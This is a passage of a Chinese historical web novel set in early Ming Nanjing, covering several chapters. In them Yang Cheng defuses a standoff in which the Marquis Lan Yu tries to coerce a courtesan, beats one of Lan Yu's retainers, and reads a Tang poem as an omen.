“虽然我在流口水,但我心里是心疼的!虽然你没流口水,那你的眼神儿是邪恶的!” 最后还是燕归来过去打了圆场儿:“两位大爷,你们也看见了,竹姑娘很害怕的。 这样吧,你们俩谁要是能保证,不强迫竹姑娘,允许她用她最擅长的方式伺候,今天她就选谁!” 之前的胖子有些不情愿,后面的胖子立刻表示自己可以,接扇题诗,心满意足地跟着竹姑娘上楼了。 杨成微微一笑,果然,题诗夺美这种事儿,主观性是很强的,并没有标准答案。 而没有标准答案的问题,最终解释权一定是归主办方所有的,从古至今,概莫能外。 所以燕归来搞这么一手儿,不但增强了竞争的激烈性,增加了抽奖的趣味性。 还让人产生了一种可以凭借才华的硬实力上岸的幻想,吸引了一些原本对青楼兴趣不大的文人,增加了人气。 甚至还为京城满地的穷书生,创造了更多的就业岗位,例如刚才赚了一两银子的那位。 大堂里只剩下梅姑娘和雪姑娘了,所有人的目光都集中在梅姑娘的扇子上。 “群芳开处枝如铁”,梅花就是这样,百花盛开之时,看起来就像已死的枯枝。 只有等到百花凋落,飞雪寒风之时,才凌寒而开,傲立枝头。 众人看着梅姑娘,就像看着一枝雪中盛开的寒梅,恨不得立刻折下来,插进瓶中。 杨成看那少年也两眼放光,跃跃欲试,便鼓励他道。 “文无第一,武无第二。何况自古无场外的举人,你不试试,怎么知道不行呢?” 第九十九章 永昌侯 少年犹豫了一下,但目光在梅姑娘和雪姑娘脸上分别看了看,雪姑娘脸上停的更久些,便挺起了胸膛。 他大踏步走上前,一甩折扇,扬起脸来,虽略带稚气,但细眉朗目,虽声音发抖,但清亮动听。 “群芳开处枝如铁,未许人间富贵花。” 众人抬头看去,能在青楼混的,大多都有点身份,他又是熟客,自然有人认出他来了。 “哎呦,李公子,你不是一向只听曲儿,不过夜的吗,怎么也来题诗了?” 少年已经迈出了人生的一大步,也不在乎是否扯到蛋了,只是目光灼灼地看着梅姑娘,当然也偷偷看一眼雪姑娘。 梅姑娘看着少年的英俊的脸,本来冷寂的心,竟然感到有些慌乱,清冷的脸上也出现了红晕。 “公子……似有未尽之意,可否把此诗填写完整,赠送奴家?” 围观众人顿时大怒,大家费劲巴力地对了半天诗了,这小子刚一来就要插队? 但有人悄悄说了此人身份,不忿的声音就小了不少,也有人不服气地嘟囔。 “这句诗对的也不怎样,总不能因为他身份高,长得帅就可以为所欲为吧?” 少年自信地仰着脸,不错,长得帅就是可以为所欲为,何况老子还是才子! 但随即他才想到,自己半天只想了这么一句,哪还有什么未尽之意? 他也没想到,别人都是一句就过关了,怎么到自己这里,还得写整首诗? 其实梅姑娘并非想难为他,而是他的诗句在这些题诗之人中,并不算最出色的。 自己虽然心仪于他,但毕竟青楼是服务业,不能得罪众人,面子上要过得去才行。 本来看少年风流倜傥,定然才华不俗,才想让少年一展才华,却不料少年竟卡壳儿了。 严格来说,少年倒也不至于如此不堪,否则也想不出来那么一句。 只能说他不是应试型人才,众目睽睽之下,竟然死活也想不出什么诗句来了。 眼看少年的脸色越来越红,梅姑娘也暗暗后悔,正想帮他找个借口之时,杨成在少年身后轻声说了两句。 少年眼前一亮,刷地一甩折扇,脸斜向上方四十五度,就像在看什么别人看不见的东西,帅到掉渣儿。 “夏鸟秋虫任喧哗,傲雪凌霜总无瑕。群芳开处枝如铁,未许人间富贵花。” 这诗中散发的孤傲之气,连坐在最远处的中年男子都忍不住愣了一下,伸手拨开围着自己的干儿子们。 “这是谁这么大的口气?想做孤臣吗?太平时节,歌功颂德的都成了夏鸟秋虫了? 等冰霜雪雨来时,夏鸟秋虫都冻死了,它才肯开。不当人间富贵花,口气大,骂得倒也痛快。 妈的现在朝中那帮子臭文官,可不就是夏鸟秋虫,人间富贵花吗? 当年我们这些人提着脑袋打仗,如今反而害得看他们脸色了。早晚得再来一场冰雪,都冻死他娘的。” 梅姑娘微微一笑,递上自己的团扇,少年反而有些犹豫了,转头看向杨成。 杨成苦笑道:“你看我干什么?想给我一两银子吗?放心,我不推辞,蚂蚱腿儿也是肉。” 少年小声对杨成道:“我爹说过,我如果敢来真格的,他就在我脸上刺上‘色鬼’两个字。” 杨成笑道:“这件事儿我可帮不了你,只能看你自己的,是更在乎脸,还是更在乎别的。” 少年想了想,坚定的点点头:“大丈夫做事,唯心而已!何惧霜雪之威!” 说完接过扇子,把诗续上,拉着梅姑娘的手就往楼上走。 杨成偷瞄了一下,确定少年已经“枝如铁”了,难怪宁可冒险,也不肯放弃“群芳开处”了。 “靠啊,李景隆,是你小子啊,你敢题诗夺美,不怕你爹打断你的腿吗?” 那中年人一声喊,把少年吓得一哆嗦,知道被那人认出来了。 本来青楼之地,相逢何必曾相识,不喊真名是基本礼貌,也只有这家伙嚣张跋扈,不守规矩。 但李景隆没有退缩,只是向后挥了挥手,便头也不回地向楼上走去,像是下定了某种决心。 此时大厅中只剩下雪姑娘了,见身边无人,雪姑娘也不意外,起身就要上楼。 “雪姑娘且慢,今日蓝某就是冲着你来的。蓝某就要出兵放马了,今夜必要得偿所愿!” 雪姑娘回头看去,微微欠身,声音就像两块纯净的冰块儿撞击一样,清脆悦耳,却带着无比的寒意。 “蓝侯爷,你已经来过几次了。诗对得不好,奴家没感觉,实在抱歉。” 原本喧闹的大堂里,渐渐变得安静下来。一些选好了金边银边的客户,也都停下脚步,看向这里。 “原来是永昌侯蓝玉啊,难怪这么嚣张。京城勋贵,就没有一个像他这么光明正大逛青楼的。” “这算什么,听说蓝玉当年跟他姐夫行军打仗时,就犯过军纪,不过功劳大,身份也特殊,就过去了。” “相比起来,他姐夫还算好的。听说都是随军自带仆妇,一带就是四个。” “军中还可以带女人的吗?不是说不吉利吗?将士们不会有想法吗?” “有个屁的想法,常将军号称常胜将军,跟着他打仗,立功多,升值快啊,谁不想? 再说了,常将军天赋异禀,听说那四个仆妇各个健壮如男子,一起上才扛得住。 如果不让他带着,万一他憋得难受了,看下属都觉得眉清目秀了怎么办……” 众人的窃窃私语声音当然很小,谁也不敢让蓝玉听见,自己在蛐蛐他姐夫。 蓝玉也没心思听他们的蛐蛐话儿,他骄傲的眼神中缓缓燃起怒火,盯着雪姑娘,就像要把她融化了一般。 “你扪心自问,真的是我的诗题的不好吗?还是就是你看不上本侯?” 雪姑娘淡然道:“确实是诗题的不好,奴家身在青楼,哪有资格看不上侯爷?” 蓝玉一挥手:“今天我写了许多,你一个个的对,我就不信,你一句都看不上!” 那些穿着绸缎的男子,每人拿着一张纸,上前把雪姑娘围在中间。 燕归来一见局势紧张,扭着腰来到蓝玉面前,未曾开言三分笑。 “哎呦,永昌侯,春燕楼的五个花魁,可不是教坊司的罪奴啊,原本都是良家,是家中遭祸才不得不入贱籍的。 可若是别的姑娘,只要永昌侯喜欢,我肯定想办法让你满意。可这雪姑娘不行啊。 这姑娘为人古怪,逼急了,那是真会死人的呀。到时侯爷也有大麻烦啊。 所以,还是请永昌侯高抬贵手,换一位吧。全楼的姑娘任你挑,一次几个都行。” 蓝玉看都没看燕归来一眼,只是缓缓站起身来,全身带着杀气和傲气。 “老子就要出兵放马了,能不能活着回来都不知道,今天要是不能如愿,我就砸了你这春燕楼!” 第一百章 雪姑娘 燕归来的脸也沉了下来,她可不是娇滴滴的寻常妈妈,她身后是有人的! 朱元璋一边讨厌青楼,一边又允许开青楼,主要原因只有一个:穷! 大明太需要钱了,否则也不会顶着骂名四处加税了。而自古以来最赚钱的,一个嫖一个赌。 赌是绝对不行的,朱元璋严禁开设赌场,所以洪武时期的赌场都是地下经营的。 那剩下的就只有嫖了,朱元璋不但设立教坊司,作为官营青楼,也允许民间经营青楼,并加以重税。 所以一般青楼越大,背后的靠山就越硬。春燕楼作为京城第一名楼,背后的靠山可想而知。 “侯爷,您是喝多了吧,若是在这里玩不开心,还请回府休息吧。 别闹得满城风雨的,对侯爷你的名声不好。万一有人弹劾侯爷,岂不麻烦?” 蓝玉眯起眼睛:“我知道你这楼背后有人分钱,有些勋贵也在其中,我府里也有一份儿。 我在自己出钱的楼里,都睡不上想睡的姑娘,你让我这脸往哪儿搁啊?” 燕归来笑道:“勋贵们出钱,都是通过干儿子办的,我还真不知道侯爷也有一份儿。 所以啊侯爷,这都是自己家的买卖,你把自家买卖闹黄了,对大家都不好吧。” 蓝玉不再说话,只是沉着脸,手指在桌子上哒哒地敲着,盯着从雪姑娘身边走过的干儿子们。 雪姑娘看一张纸,便摇摇头,再看一张,再摇摇头,冰冷的脸上没有丝毫情绪。 随着走过去的人越来越多,只剩两三个人的没看了,蓝玉的手指也越敲越急。 燕归来看出了蓝玉的决心和怒火,她也知道即使在勋贵之中,蓝玉也是个极其嚣张的人。 你不知道真把他惹恼了,他会干出什么事儿来。他毕竟是太子妃的舅舅…… 燕归来扭头走到雪姑娘身边,柔声商量:“好女儿,你就答应吧。蓝侯爷又不丑。 性子虽然傲了些,可你不也傲吗,你俩没准能聊得来呢。后面这几首诗,就挑一句过了吧,啊?” 雪姑娘冷冷的站着,对着剩下缓缓走过的三个干儿子,仔细地看着。 第一个,缓缓摇头。第二个缓缓摇头。第三个,看了很久,缓缓摇头。 第三个干儿子站在原地没动,回头看向蓝玉,蓝玉嘴角挑起一丝渗人的微笑,缓缓站了起来。 “我觉得这句诗挺好的,要不雪姑娘再看看?” 雪姑娘冷冷的看着蓝玉,摇头:“不好。” 说完转身就要走,蓝玉一抬手,直接将身前的几案掀了,红木的几案挂着风声飞向雪姑娘。 围观众人大声惊呼,脑海里甚至出现了明日大明京城小报的头版头条。 “震惊!永昌侯嫖而不得,砸死京城名楼花魁,众目睽睽,先杀后啥!” “永昌侯怒砸春燕楼,雪姑娘薄命赴黄泉。这究竟是道德的沦丧,还是……” 标题还没画完,一只手接住了几案,顺势按在地上,发出砰的一声闷响。 杨成笑着打圆场儿:“蓝侯爷,题诗夺美,本来是风雅之事,咱何必焚琴煮鹤呢? 要说你也不肯下本钱啊,你看人家别人都请书生请秀才的,你却弄了一帮武夫来。 他们要能写出好诗来,那不是出鬼了吗?诗不好还不让人说,这事儿可不在理啊。” 周围众人虽然都不满蓝玉的行为,但从头到尾都没有一个人敢站出来说句什么的。 就连春燕楼里养着的打手们,也没有人敢出来阻拦的,因为他们都知道蓝玉的威名。 比后台,蓝玉大错不犯,小错不断,每次把皇上气的怒骂,可随后打一仗回来,照样加官进爵。 比武力,蓝玉是常遇春带大的,一个人就能打十个。他身边的那些干儿子,没有一个不是能打的主儿。 据说蓝玉收干儿子的第一条件,就是能在他手下过二十招儿而不倒,这些干儿子的战斗力绝对强悍。 所以碰上这么个主儿,春燕楼也难以招架。此时却见杨成如此淡定,还敢数落蓝玉,不禁都大为吃惊。 蓝玉其实把桌子掀飞的一瞬间,就已经后悔了。 他倒不怕打死人偿命,堂堂永昌侯打死个青楼女子,最多也就是罚钱降爵,何况还有太子在呢。 他是怕朱元璋一怒之下不让他出征了。现在朝中大将还有不少,做槽子糕未必就一定需要他这个臭鸡蛋。 而除了打仗,蓝玉就不会干别的。他从小打到大,他一生最大的梦想,就是成为千古名将。 他要从南打到北,他还要从白打到黑。他想要人们都看到他,知道他是谁。 至于想睡雪姑娘,是因为他听说雪姑娘是整个京城最难睡到的花魁,从入楼到如今,有缘睡过的不超过一只手。 听说这几个都是皇子,分别在就藩出京之前,重金开路,文采在线,并且表示此一去再难回京城,若不能与雪姑娘唱和一番,将抱憾终生。 大概是存着“又送王孙去,萋萋满别情”的唯美感,雪姑娘才肯让他们做入幕之宾。 至于其他富豪勋贵,出钱再多,也不过是喝酒听曲儿而已,到了睡觉的点,雪姑娘一句“困了”就直接闭门谢客了。 因此雪姑娘在民间又有个绰号,叫大明恭王妃,也叫大明喂王人。 蓝玉得知后,嗤之以鼻,表示那都是青楼搞的饥饿营销。青楼女子,不就那么回事儿吗? 只要钱到位,姑娘随便睡。一切扭扭捏捏,都是砍价还价。 他当着三五好友和三五十干儿子的面立下了佛拉格,表示自己出征之前,一定也让雪姑娘送送自己。 然后他信心满满地带着钱来了,结果被拒了。 他以为是钱不够,又加了一倍。结果还是被拒了。 这事儿一拖就拖了几个月,眼看出征之日越来越近了,他的脸上也越来越挂不住了。 最近京城各大青楼都流行起了团扇题诗,他觉得机会来了,便让干儿子们四处找人作诗。 想不到别的姑娘的诗都是自己写的,雪姑娘却偏偏拿着那句流传甚广无人能对的诗。 传说那是一个才貌双全的女子,用来考验男人的诗句,对得上的,才能在一起。 无数痴情男子,拿着那把团扇,在天下游走,寻求一句好诗,却都求而不得。 这凄美的爱情故事,引发了各地的团扇题诗风潮,却没有一个花魁敢用那句诗的。 因为团扇题诗是为了噱头,核心还是要做生意。你扇子上弄个没人对得上来的诗,是想干啥? 想从东南方向扇,扇出西北风来给自己喝吗? 可雪姑娘偏偏就这么干了,而且春燕楼还惯着她,拿她妹妹卖高价,这真是岂有此理! 燕归来也劝过蓝玉,要不也学别人,睡一次梅姑娘,以假乱真算了。 可蓝玉断然拒绝了,表示要睡就睡正牌儿货,拒绝高仿! 事儿就这么僵住了,蓝玉的佛拉格迎风飘扬,啪啪打在脸上,打得他失去了理智。 眼看各地税银陆续到了,出征之日近在咫尺,蓝玉终于爆发了,掀了桌子。 然后,在他最后悔的时候,桌子被杨成接住了,同时救下了雪姑娘和他出征的希望。 所以,蓝玉并不像其他人想的那么愤怒,只是表情装得很愤怒。 “小子,你是哪个勋贵的儿子,说出来,看在你父辈的份上,我打你时好轻点。” 第一百零一章 干儿子 杨成看着蓝玉一遍下台阶一遍放狠话的神态,忍不住好笑。 他当年混迹江湖时,见过太多蓝玉这样的人了,从小混混到大佬都有,可以统称为“蓝玉型人格儿”。 这种人往往是偏科的天才,在某一方面惊才绝艳,但在其他方面,尤其情商方面,都不及格。 这种人一辈子活的就是个面子,为了面子,他们可以不顾一切,甚至包括生死。 杨成当年有个小弟,把刀绑在手上,一个能打十个,最后为了面子跑去单挑,死在了别人的围殴里。 蓝玉型人格儿的知名人物,如果要举例,第一个恐怕就是楚霸王项羽。 最好的取胜机会顾忌脸面不下手,死到临头还想着展示一把武力,证明自己虽败犹荣。 第二个就是震古烁今的霍去病,少年得志,用兵如神,但不体恤士卒,当着皇帝的面射杀大将。 实话说若不是霍去病功劳实在太大,又深得汉武帝宠爱,加上死得早,没准一世英名也保不住。 第三个就是六爷,虽然这不是个真实人物,但其因为一碗粉儿丧命而名震天下,堪称死要面子的最佳表率。 而蓝玉作为这类人格的冠名人物儿,自然是性格缺陷最突出的一个。 狂妄自大,死要面子,缺乏情商,好斗好色。所有技能点都加在打仗上了。 面对这么个人物儿,杨成自然不会和他一般见识,拱手笑道。 “永昌侯,我是个平民百姓,这次护送税银进京,顺便来春燕楼开开眼界。” 蓝玉大出意外,皱眉想了一下,忽然眼睛一亮。 “杨成是吧?我听人说了,海盐百姓抓了户部的秦强,上京告御状,就是你小子吧! 我还听说,你是杨老虎的孙子?当年我随姐夫打仗,和你父祖交过手,都是好汉子! 你办了户部的狗官,我觉得解气!看在你爷爷的面子上,我饶了你,你走吧!” 蓝玉说着大踏步地走向雪姑娘,雪姑娘脸色愈发白得惊人,却纹丝不动,连发抖都没有。 见杨成挡在路上没动,蓝玉沉下脸来:“杨成,我给足你面子了,别不知好歹。 你想英雄救美,也得掂量掂量自己的斤两。今天雪姑娘我睡定了,天王老子来了也不行!” 杨成笑道:“侯爷,我不是英雄救美,我是英雄救英雄。雪姑娘你睡不得,会有大祸的。” 蓝玉气笑了:“我睡个青楼女子就有大祸?好,我倒要看看,杨老虎的孙子,能有他几分风采。 我这些干儿子,你能打过任何一个,我就不难为你。可你若自己不济,被打死了,也别怪我!” 话音未落,干儿子们就开始争夺起来,因为这明显是一个无成本立功的好机会。 虽然杨成长得挺高大的,但不算很粗壮,脸上棱角初现,分明还是个少年。 这样的年龄,骨头还没长成呢!长得再高也是豆芽儿菜,如何能和这些刀头舔血的悍卒相比? 何况蓝玉的干儿子们,都是精锐中的精锐,远非寻常悍卒可比,身上也都是有些功名的。 在蓝玉面前,你喊我干儿子我不说啥,离开蓝玉,哪个不是军中小霸王? 一番争夺,互不相让,其激情程度,让人还以为是在争夺睡雪姑娘的机会,其实只是揍杨成的机会而已。 经过一番激烈竞争,还有几个势均力敌者当着杨成的面划了几拳,最终一个黑又硬的干儿子获得了“揍杨成讨好干爹权”。 黑儿子还挺有礼貌,冲杨成一拱手:“兄弟,拳脚无眼,死伤勿怪,请吧!” 围观群众听说有打架看,都顾不得跟姑娘们打架了,甚至连搏斗过程中的客人,都打开窗户往外看。 姑娘们很不高兴:“你这半途而废算什么?打架有那么好看吗?你可是花了银子进来的!” 客人们不予理会,知道女人理解不了男人,岂不知当年港台唯一能和三级片争锋的就是功夫片吗? 而且花了银子的总归跑不了,付的是过夜的钱,又不是车站的快餐费。可这免费的打架却转瞬即逝啊。 就连李景隆都从楼上探出头来,给杨成打气:“杨兄,硬气点,别丢份儿!” 杨成抬头笑道:“别人看打架也就罢了,你这头一次过夜,也舍得半途而废?” 李景隆忽然红了脸,别人可能是半途而废,他还真不是…… 黑儿子见围观者众,顿时更来劲儿了,知道干爹最要脸儿,场面越大,越不能丢了面儿。 当即大喝一声,摆出一个起手式,猛扑上来,人随声至,威势惊人。 这些干儿子们都是跟着蓝玉上过战场,杀过人的,一旦动手,身上的杀气顿时就爆发出来了。 周边围观的人都忍不住后退一步,虽然离得已经足够远了,但还是本能的觉得有危险。 杨成弯下身子,整个人像一头面对猎物的猛虎一般,身子极度压缩,两眼死死的顶着对手。 当黑儿子扑倒面前时,杨成猛然单手撑地,身子打横,双腿猛蹬而出。 对这一招缺乏立体感的,可以看看拳皇里八神的下重腿,或者是足坛著名的断腿铲。 这一招最狠之处,就是用整个身体的长度作为武器,而且力量集中在一点上,去踹敌人最接近的部位。 如果这一脚踹实了,黑儿子的腿骨当时就得断。黑儿子知道厉害,但猛冲之际想收腿也来不及。 干脆借着前冲之力跳起来,用一个跳水的动作,躲过杨成的脚,然后整个身体下压,企图将杨成压在身下。 杨成一击不中,借着侧身的动作就地一滚,躲开砸下来的黑儿子,身子蜷缩起来,像根弹簧一样,以弓起的背心作为支点,转了半圈。 然后双脚对准爬在地上的黑儿子的太阳穴,再次踹了出去。 因为这次有蓄力的动作,因此踹出去的双脚比上一次更快,更狠,更重! 黑儿子砸了个空,刚要翻身起来,两只脚已经冲着半边脸踹过来了,他大骇之下,拼命往远端翻滚。 趴在地上翻滚的动作,终究没有侧身来得快,虽然躲过了最大的力量,但两脚还是在伸直的状态下,点在了后脑勺儿上。 黑儿子只觉得天旋地转,头痛欲裂,在地上连滚三次才堪堪停住,一时挣扎不起来。 却见杨成已经从地上弹射而起,抡圆了右腿,摆出巴蒂斯图塔的远射动作,对准了黑儿子的脑袋,就像要踢碎一个西瓜一样。 第一百零二章 诗中谶 当时人们没有足球,蹴鞠的踢法更接近于现代的花式足球,很少能见到暴力远射。 但作为打架无数的高手,干儿子们,包括蓝玉都知道这一脚的威力。 以杨成刚才表现出的身手,这一脚的力量足以踢死一条大狗!人头是无论如何也扛不住的。 黑儿子眼见来不及躲闪,只能双手抱头,继续翻滚,希望能卸去部分力道。 其他干儿子眼看蓝玉咬牙瞪眼,但并没有插手,知道干爹输人不输面儿,绝不会破坏规矩。 但他们也清楚,这一脚下去,黑儿子死定了,蓝玉和杨成的仇也结定了。 砰的一声,一个圆溜溜的东西被踢到远处的墙上,啪的一声扁了,汁水飞溅。 蓝玉掀桌子时掉在地上的铜酒壶,现在变成了二维状态,贴在墙上,就在挂着的扇子旁边。 大家都咽了口口水,这力量,如果哪怕有一半儿落在头上,只怕也没命了。 黑儿子还不知状况,兀自抱着头在地上翻滚,已经滚到蓝玉的脚下了,被蓝玉一脚定住了。 “滚一边儿去,丢人现眼的东西!” 蓝玉的怒骂声中,带着一丝喜悦,这黑儿子是他最喜欢的干儿子之一,战场上替他挡过箭的。 蓝玉紧了紧腰带,做好了亲自下场的准备。以杨成刚才的伸手,其实他也没有必胜的把握。 杨成知道,现在蓝玉又需要一个台阶了,赶紧摆手。 “等等,别说话不算话啊,你说过我打赢你任何一个干儿子,你就不难为我了。 现在还要再打,你这不是欺负老实人吗?车轮战说出去也不好听啊。” 蓝玉微微松了口气,口气却狂傲依旧:“让你这一说,我还不好欺负晚辈了。 可我大言欺人,说什么我睡了雪姑娘就会大祸临头,我不教训教训你,如何服众?” 杨成诧异道:“我要说的是假话,你教训我情有可原。可我说的是实话,还是为你好。 这样你还要教训我,难道不怕别人说你好赖不分,恩将仇报吗?” 蓝玉一愣:“那你说说,为什么我睡了雪姑娘,就会大祸临头了?谁敢动我?” 杨成诚恳道:“永昌侯,请问你这一身荣华,半世英名,是从何而来?” 蓝玉傲然道:“本侯出生入死,为大明血战沙场,有些功劳。皇上圣明,论功行赏所得。” 杨成点点头:“所以对侯爷来说,再大的事儿也没有战场凯旋重要,对吧?” 蓝玉点头:“这是自然。大丈夫生于天地间,生死都是小事,唯有建功立业,方为大事!” 杨成叹息道:“侯爷如此壮怀激烈,让人叹服。可为何要为了睡个女子甘冒奇险,不惜毁了功业呢? 你可知,这雪姑娘就算别人睡得,你也睡不得。否则你这次出征,必败无疑。” 蓝玉大怒,但看着杨成满脸的笃定,忍不住又有些狐疑。 须知人在最在乎的事儿上,是赌不起的,哪怕胜率再高,也不敢赌。 “小子,你给我说清楚。若你说的当真有理,我好好谢你。若是你胡说八道,就别怪我以大欺小了!” 杨成笑容缓缓褪去,正色道:“永昌侯,既然你说你认得我爷爷和父叔们。 那你记不记得,当初我爷爷带着我父亲叔叔们,成立杨家军。对抗的三方势力中,对谁最客气?” 蓝玉认真想了想:“对当今皇上的队伍最客气,我姐夫和你爷爷交过一次手,也是为了比试,不是真的拼命。” 杨成昂然道:“那你说,当时三方势力中,谁的实力最强,谁看起来能笑到最后?” 蓝玉沉默了,他不喜欢说谎,而且这事儿也不需要说谎,以弱胜强,定鼎江山,一直是皇上最为自傲的事儿。 “当初在海盐的三方势力,张士诚最强,元庭次之,当今皇上的最弱。” “既然皇上的实力最弱,为何我爷爷要对皇上的队伍最客气?” “因为皇上是仁义之师,自然受人爱戴。你爷爷不是凡人,很有眼光的!” 杨成点头道:“不错,我爷爷的确很有眼光,因为他看出皇上有天子之气,最后一定能定鼎江山!” 蓝玉想了想,也觉得此事颇为神奇。当初西吴军队,虽说风评比那两家强点,但也不是善男信女啊。 难道杨老虎真是因为看出了朱元璋最后一定能成事儿,所以才对他的军队格外客气的吗? “你说了这么多,想说什么?你爷爷会算命?” 蓝玉这话本来是带着点调侃意味的,想不到杨成却郑重地点了点头,语气也变得低沉起来。 “本来这是我家祖传之密,传子不传女,而且爷爷一再叮嘱我,不可随意妄言,免招灾祸。 可侯爷既然与我父祖皆有交情,我也不忍看着侯爷泥足深陷,闹个没结果。 更重要的是,我忠于皇上,忠于大明,若侯爷带兵出征惨败,则大明也深受其害!” 蓝玉越听越是心惊,他本想怒斥杨成装神弄鬼,但却知道,此时已经由不得他了。 此处人多眼杂,没准其中就有皇上新成立的锦衣卫混迹其中,一言一行,都是无法保密的。 若不问个明白,这番含糊不清的话传到皇上耳朵里,皇上第一反应,肯定是不会让自己带兵出征的。 兵凶战危,自古不管多不迷信的君王,也都要讨个好兆头,概莫能外。 如果皇上听见有人说蓝玉此次带兵必败,不管信不信,肯定会换个人带兵,又不是没人用了! “小子,你给我说明白!你若说不出道理来,老子绝不与你干休!” 蓝玉一向自诩名将,平时说话尽量注意文明,此时气得连老子都出来了,可知心情激动。 杨成叹息道:“侯爷,世间万事万物,都有轮回之数。每个人的命数运气,冥冥中也有昭示。 你今日为美人而来,题诗夺美,却不知你此时的命数,几百年前就已经有人给你写在诗里了。” 蓝玉眯起眼睛,看着杨成抓过一旁龟奴捧着,用来题写扇子的毛笔,看看身边无纸,直接提笔写在了墙上。 “一封朝奏九重天,夕贬潮阳路八千。 欲为圣明除弊事,肯将衰朽惜残年! 云横秦岭家何在?雪拥蓝关马不前。 知汝远来应有意,好收吾骨瘴江边。” 第一百零三章 雪拥蓝关 所有人都瞪大了眼睛看着这首诗,不知道这首唐朝大家的流放诗与蓝玉到青楼睡姑娘有啥关联。 蓝玉更是不解:“什么意思?这诗和我有什么关系?如何就能看出我会出师不利了?” 杨成庄重的那笔指点着标题:“你知道这首诗是写给谁的吗?” 一个干儿子挺身而出:“这不是写得很明显吗,是写给他侄子的,他侄子叫孙湘。” 蓝玉脸上一黑:“滚!韩愈姓韩,他侄子能叫孙湘吗?让你们平时多读点书,丢人!” 干儿子理直气壮:“我还姓孔呢,爹你不也一样姓蓝吗,这有啥不对的?” 蓝玉都懒得骂他了:“这是韩愈写给他侄孙的,他是韩湘的叔祖,也就是八仙里的那个韩湘子。” 嫖客们大多没啥文化,还是头一次知道韩愈这首诗竟然是给八仙之一的韩湘子写的,顿时惊呼声一片。 杨成点头道:“不错,正因为这首诗的接诗人是韩湘子,这诗就带了灵气,有了轮回之力。 而韩湘子在八仙之中,与蓝采和最为要好,大概便是因此,这份灵气才着落在你身上吧。” 他指着墙,从第一句说起:“一封朝奏九重天,夕贬潮阳路八千。 当初韩愈因为上了一封奏疏被贬,你将来也会因为一封奏疏被贬,你会被人弹劾的。 欲为圣明除弊事,肯将衰朽惜残年! 弹劾你的人,是个老臣。他估计是快死了,所以临死之弹劾你,也算为国尽忠了。” 蓝玉将信将疑:“你这是牵强附会,这两句诗,套在谁的身上都行吧!” 杨成沉重地点点头:“但凡是有果必有因,而你被弹劾、被贬的因,就在今日所为!” 不等蓝玉发问,杨成指向第三句:“云横秦岭家何在?雪拥蓝关马不前。 永昌侯既然知道这诗的背景,就该知道,韩愈当初被流放的事岭南之地。 云横秦岭,家在岭南,敢问永昌侯,你这次带兵,是要去打哪里?” 蓝玉心中猛的一跳,脸上瞬间变了颜色:“残元盘踞云南,右丞观甫保守昆明,平章达里麻与大理梁王勾结。 皇上命我和傅友德、沐英各领一路兵马,消除残元,收复大理,永镇云南。” 杨成点头道:“雪拥蓝关马不前,蓝侯爷可知,这蓝关是什么关吗?” 这个问题一般人还真不一定知道,但蓝玉一心当名将,对全国各地的关卡要隘了然于胸。 “蓝关也就是蓝田关,如今在陕西行省蓝田县,由鸡头关、六郎关、筝坡关三个小关组成。” 杨成淡淡道:“蓝田日暖玉生烟,蓝田自古最出名的就是蓝田玉了,正合侯爷名讳。” 雪拥蓝关,雪姑娘要是抱着侯爷睡上一夜,只怕侯爷真的要马不前了。” 蓝玉脸色骤变,云横秦岭,雪拥蓝关,家何在,马不前,真的这么巧?为何如此巧合? “那……那最后两句,是什么意思?应在何事上?” 杨成忧郁地看着蓝玉:“知汝远来应有意,好收吾骨瘴江边。这最后两句,却是说我的。 若今日我劝不住你,他日你客死他乡时,我就是你的埋骨之人。所谓缘分,便是如此。 这就是泄露天机,干扰他人命运的代价。我爷爷当初干扰了一县人的命运,代价就是我家……” 蓝玉也知道,杨老虎最后七个儿子都死在沙场上,不禁悚然而惊,浑身汗毛都竖起来了,就像个大号儿的猕猴桃一样。 如果说开始他是不信的,当杨成解诗解到“云横秦岭家何在”两句时就已经半信半疑了。 此时想想杨老虎一家的代价,蓝玉已经信了七八分,而剩下的几分怀疑,绝不值得他冒险了。 为了睡一个女人,失去当一代名将的机会,都不能说是捡了芝麻丢了西瓜,简直像捡了黄瓜丢了老公一样不值。 而且蓝玉已经得到了一个绝佳的台阶下:他蓝玉胸怀大志,为了精忠报国,女人算什么东西?说不睡就不睡了! “杨成,今天这个情,算我欠你的。其实我也不是好色,不过是看她太傲了,想教训教训她罢了!” 杨成点头表示赞同:“雪姑娘确实傲了些,这诗早就被人对出来了,还拿来当挡箭牌,容易被人占便宜。” 此话一出,众嫖客顿时哗然。这诗在京城已经流传多日,至今无人写出意境相符的诗句来。 今日先是题诗夺美,又看了免费的打架,结果还听了一段玄妙的解诗,本以为已经够过瘾的了。 想不到此时又说这诗已经被对出来了?今天这趟青楼逛得真值,简直是肉体和精神双重升华啊。 雪姑娘也是瞪大了眼睛,从杨成帮她解围时,她就一直在看杨成,此时更是目不转睛。 “这位杨公子,你说这诗对出来了?是何人所对,何时所对?” 杨成微微一笑:“惭愧,对诗之人正是在下。那绣扇女子也已经答应嫁给在下了。” 众人愕然,想不到今天还看见了传说中的正主儿,将来就有的吹了。 但也有人不信:“雪姑娘别上当,这家伙可能也是个骗子,只是馋你身子的!” 这一下连蓝玉也来了兴致,他找人写了那么多诗句,雪姑娘都不满意,他倒要看看杨成能拿出什么佳句来。 雪姑娘把团扇递给杨成:“奴家信公子,若公子能对上诗,奴家便请公子题扇。” 杨成铺垫了好几章的工作,终于到了最关键的时候,他压根也不是冲着雪姑娘来的。 杨成接过团扇,忍不住叹了口气:“诗是好诗,扇子却不对,这不是诗扇啊。” 众人听见“诗扇”一词,都有点蒙圈,不由自主地看向手中的扇子。 当时流行男人拿折扇,女人拿团扇,但这“诗扇”一词,大家却没怎么听说过。 难道折扇不能题诗吗?难道团扇不能题诗吗,还有专门的诗扇? 其实这个概念,之前杨成已经派业余逼王刘子业宣传过了,但刘子业气场不够强大,带货能力有限。 这才导致虽然团扇写诗跟着热起来了,人们却没有过多关注诗扇的特别之处。 杨成这次来顶级青楼,又阻止蓝玉闹事儿,就是为了在一个万众瞩目的状态下,来一波顶流带货。 杨成从怀里掏出一把没写字的团扇来,高高举起:“各位,这才是最正宗的诗扇。” 第一百零四章 诗扇 众人高处的低头,低处的仰头,目光都集中在了那把诗扇上。 这种带横梁的团扇,本就是为了节省成本,不用大块绸绢的,都是小家碧玉们才用的。 能进青楼的人,非富即贵,就连这些当红女星,也只是姿势不自由,就没有财务不自由的。 下面的金边银边,甚至穷鬼菩萨,也都是京城名扇的顶流高仿,几乎没人认识这样的扇子。 只有看门的龟奴常在街面上行走,见多识广,觉得这好像就是劳动人民用的那种团扇,但又不敢开口。 